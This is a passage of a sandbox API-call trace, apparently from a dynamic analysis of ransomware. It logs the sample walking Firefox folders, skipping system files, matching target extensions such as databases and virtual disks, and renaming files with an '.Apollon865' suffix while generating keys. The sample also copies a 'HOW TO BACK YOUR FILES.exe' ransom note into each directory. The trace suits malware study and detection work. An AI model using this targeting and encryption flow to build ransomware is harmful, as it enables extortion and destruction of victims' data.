	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.850] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.850] CloseHandle (hObject=0x118) returned 1
	[0052.850] CloseHandle (hObject=0x14c) returned 1
	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.850] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 1
	[0052.851] lstrcmpiW (lpString1="yahoo.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.851] lstrcmpiW (lpString1="yahoo.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.851] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="yahoo.xml" | out: lpString1="yahoo.xml") returned="yahoo.xml"
	[0052.851] lstrlenW (lpString="yahoo.xml") returned 9
	[0052.851] lstrlenW (lpString="Apollon865") returned 10
	[0052.851] lstrlenW (lpString=".dll") returned 4
	[0052.851] lstrcmpiW (lpString1="yahoo.xml", lpString2=".dll") returned 1
	[0052.851] lstrlenW (lpString=".lnk") returned 4
	[0052.851] lstrcmpiW (lpString1="yahoo.xml", lpString2=".lnk") returned 1
	[0052.851] lstrlenW (lpString=".ini") returned 4
	[0052.851] lstrcmpiW (lpString1="yahoo.xml", lpString2=".ini") returned 1
	[0052.851] lstrlenW (lpString=".sys") returned 4
	[0052.851] lstrcmpiW (lpString1="yahoo.xml", lpString2=".sys") returned 1
	[0052.851] lstrlenW (lpString="yahoo.xml") returned 9
	[0052.851] lstrlenW (lpString="bak") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.851] lstrlenW (lpString="ba_") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.851] lstrlenW (lpString="dbb") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.851] lstrlenW (lpString="vmdk") returned 4
	[0052.851] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.851] lstrlenW (lpString="rar") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.851] lstrlenW (lpString="zip") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.851] lstrlenW (lpString="tgz") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.851] lstrlenW (lpString="vbox") returned 4
	[0052.851] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.851] lstrlenW (lpString="vdi") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.851] lstrlenW (lpString="vhd") returned 3
	[0052.851] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.851] lstrlenW (lpString="vhdx") returned 4
	[0052.851] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.852] lstrlenW (lpString="avhd") returned 4
	[0052.852] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.852] lstrlenW (lpString="db") returned 2
	[0052.852] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.852] lstrlenW (lpString="db2") returned 3
	[0052.852] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.852] lstrlenW (lpString="db3") returned 3
	[0052.852] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.852] lstrlenW (lpString="dbf") returned 3
	[0052.852] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.852] lstrlenW (lpString="mdf") returned 3
	[0052.852] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.852] lstrlenW (lpString="mdb") returned 3
	[0052.852] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.852] lstrlenW (lpString="sql") returned 3
	[0052.852] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.852] lstrlenW (lpString="sqlite") returned 6
	[0052.852] lstrcmpiW (lpString1="oo.xml", lpString2="sqlite") returned -1
	[0052.852] lstrlenW (lpString="sqlite3") returned 7
	[0052.852] lstrcmpiW (lpString1="hoo.xml", lpString2="sqlite3") returned -1
	[0052.852] lstrlenW (lpString="sqlitedb") returned 8
	[0052.852] lstrcmpiW (lpString1="ahoo.xml", lpString2="sqlitedb") returned -1
	[0052.852] lstrlenW (lpString="xml") returned 3
	[0052.852] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.852] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml.Apollon865") returned 81
	[0052.852] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.853] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0052.853] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2675) returned 1
	[0052.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.853] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.854] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.854] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.854] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd80, lpName=0x0) returned 0x118
	[0052.855] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd80) returned 0x100000
	[0052.856] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.857] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.857] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.857] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.857] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.857] CloseHandle (hObject=0x118) returned 1
	[0052.858] CloseHandle (hObject=0x14c) returned 1
	[0052.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.858] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 0
	[0052.858] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.858] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0052.858] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions"
	[0052.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0052.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0052.858] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned 57
	[0052.858] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions"
	[0052.858] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.858] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.862] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.862] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3794a670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3794a670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.863] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.863] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.863] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.863] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3794a670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3794a670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.863] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.863] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.863] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.863] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.863] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3794a670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3794a670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.863] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.863] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="{972CE~1")) returned 1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="Apollon865.txt.exe") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2=".") returned 1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="..") returned 1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="windows") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="bootmgr") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="temp") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="pagefile.sys") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="boot") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="ids.txt") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="ntuser.dat") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="perflogs") returned -1
	[0052.863] lstrcmpiW (lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}", lpString2="MSBuild") returned -1
	[0052.863] lstrlenW (lpString="{972ce4c6-7e08-4474-a285-3208198ce6fd}") returned 38
	[0052.863] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*") returned 59
	[0052.863] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="{972ce4c6-7e08-4474-a285-3208198ce6fd}" | out: lpString1="{972ce4c6-7e08-4474-a285-3208198ce6fd}") returned="{972ce4c6-7e08-4474-a285-3208198ce6fd}"
	[0052.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0052.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599450
	[0052.863] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0052.863] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="{972CE~1")) returned 0
	[0052.864] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.864] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0052.864] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}"
	[0052.864] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.864] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0052.864] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}") returned 96
	[0052.864] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}"
	[0052.864] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.864] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.868] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.868] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3794a670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3794a670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.868] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.868] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.868] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.868] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3794a670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3794a670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.868] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.868] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.868] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.868] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.868] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3794a670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3794a670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.869] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.869] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xdc50ab00, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x889, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0052.869] lstrlenW (lpString="icon.png") returned 8
	[0052.869] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*") returned 98
	[0052.869] lstrcpyW (in: lpString1=0x2d3e612, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0052.869] lstrlenW (lpString="icon.png") returned 8
	[0052.869] lstrlenW (lpString="Apollon865") returned 10
	[0052.869] lstrlenW (lpString=".dll") returned 4
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0052.869] lstrlenW (lpString=".lnk") returned 4
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0052.869] lstrlenW (lpString=".ini") returned 4
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0052.869] lstrlenW (lpString=".sys") returned 4
	[0052.869] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0052.869] lstrlenW (lpString="icon.png") returned 8
	[0052.869] lstrlenW (lpString="bak") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0052.870] lstrlenW (lpString="ba_") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0052.870] lstrlenW (lpString="dbb") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0052.870] lstrlenW (lpString="vmdk") returned 4
	[0052.870] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0052.870] lstrlenW (lpString="rar") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0052.870] lstrlenW (lpString="zip") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0052.870] lstrlenW (lpString="tgz") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0052.870] lstrlenW (lpString="vbox") returned 4
	[0052.870] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0052.870] lstrlenW (lpString="vdi") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0052.870] lstrlenW (lpString="vhd") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0052.870] lstrlenW (lpString="vhdx") returned 4
	[0052.870] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0052.870] lstrlenW (lpString="avhd") returned 4
	[0052.870] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0052.870] lstrlenW (lpString="db") returned 2
	[0052.870] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0052.870] lstrlenW (lpString="db2") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0052.870] lstrlenW (lpString="db3") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0052.870] lstrlenW (lpString="dbf") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0052.870] lstrlenW (lpString="mdf") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0052.870] lstrlenW (lpString="mdb") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0052.870] lstrlenW (lpString="sql") returned 3
	[0052.870] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0052.870] lstrlenW (lpString="sqlite") returned 6
